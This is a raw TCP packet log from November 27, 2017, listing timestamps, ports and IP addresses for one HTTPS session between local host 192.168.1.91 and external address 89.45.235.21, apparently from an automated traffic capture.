Nov 27, 2017 12:34:41.189326048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.211834908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.211848974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.211854935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.212336063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.212354898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.218966007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.218977928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.219074011 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.219094038 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.238471031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.238485098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.238495111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.238594055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.238615990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.246059895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.246073008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.246170998 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.246191025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.264018059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.264034033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.264143944 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.264167070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.271321058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.271333933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.271434069 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.271456957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.284883022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.284897089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.284998894 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.285020113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.313129902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.313149929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.313155890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.313360929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.313385963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.332009077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.332096100 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.332118034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.332149029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.332156897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.332484007 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.332501888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.346031904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.346049070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.346182108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.346200943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.352952957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.352972031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.353110075 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.353130102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.372236013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.372256994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.372390032 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.372406960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.379549980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.379563093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.379677057 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.379692078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.387275934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.387290955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.387396097 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.387413025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.403934002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.403954029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.404062986 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.404086113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.411060095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.411073923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.411148071 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.411170006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.420970917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.421091080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.421111107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.428963900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.428978920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.429090977 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.429106951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.435986042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.436023951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.436290979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.436358929 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.453532934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.453552008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.453816891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.453888893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.471162081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.471179008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.471390009 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.471451044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.500890970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.500911951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.500919104 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.501066923 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.501137972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.508188963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.508204937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.511692047 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.511735916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.521157026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.521172047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.521275043 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.521311045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.540935040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.540951014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.541040897 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.541063070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.568831921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.568972111 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.569004059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.575866938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.575885057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.575980902 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.576014042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.586119890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.586138010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.586216927 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.586250067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.607947111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.607964039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.608046055 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.608074903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.633671045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.633755922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.633785963 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.640698910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.640724897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.640990973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.641024113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.651269913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.651500940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.651742935 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.651772976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.652513027 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.658166885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.658183098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.658231974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.658366919 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.681457043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.681476116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.681729078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.681752920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.704840899 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.704860926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.705198050 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.705223083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.737351894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.737380028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.737391949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.737597942 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.737637043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.744237900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.744353056 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.744370937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.753048897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.753065109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.753206015 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.753225088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.770181894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.770199060 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.770355940 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.770375967 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.793926001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.793941021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.794135094 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.794154882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.801047087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.801059961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.801357985 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.801378965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.819808960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.819824934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.820358992 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.820378065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.839838982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.839855909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.842200994 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.842221975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.861298084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.861315966 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.861687899 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.861709118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.868182898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.869096041 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.869116068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.875538111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.875551939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.875674009 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.875694036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.891165972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.891185045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.891338110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.891354084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.911101103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.911138058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.911268950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.911290884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.929662943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.929692984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.929944038 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.929975033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.954859972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.954888105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.954895020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.955138922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.955168962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.955996990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.956012011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.956093073 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.956115007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.981128931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.981153011 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.981307030 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.981331110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.989701986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.989732981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:41.993298054 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:41.993366003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.047002077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.047224045 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.047240973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.076395988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.076411009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.076491117 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.076512098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.096270084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.096287012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.096436024 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.096458912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.137309074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.137337923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.137562990 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.137599945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.167932034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.167960882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.168142080 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.168173075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.212025881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.212256908 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.212311029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.219813108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.219836950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.219968081 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.220000029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.226804018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.226834059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.226929903 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.226959944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.256336927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.256357908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.256598949 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.256668091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.277287960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.277304888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.277518034 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.277585030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.313287973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.313319921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.313443899 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.313472033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.320271015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.320297956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.320522070 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.320574045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.350147009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.350465059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.350545883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.358218908 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.358236074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.358438969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.358489037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.374166012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.374201059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.374376059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.374438047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.381131887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.381176949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.381334066 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.381370068 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.397778988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.397804976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.397980928 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.398030996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.421607018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.421646118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.421755075 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.421782970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.444103956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.444148064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.444240093 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.444277048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.484061003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.484097004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.484278917 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.484363079 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.491105080 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.491133928 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.491458893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.491482019 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.512165070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.512198925 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.512450933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.512478113 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.538214922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.538235903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.538361073 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.538383007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.566170931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.566418886 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.566438913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.578908920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.578923941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.579286098 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.579301119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.582746983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.582829952 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.582849026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.586913109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.587076902 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.587099075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.611577034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.611607075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.612086058 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.612134933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.631584883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.631617069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.631690979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.631716013 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.665999889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.666018009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.666024923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.666538954 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.666560888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.680556059 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.680572987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.680860043 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:42.680876017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.705423117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.705455065 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:42.705574036 CET	49165	443	192.168.1.91	89.45.235.21
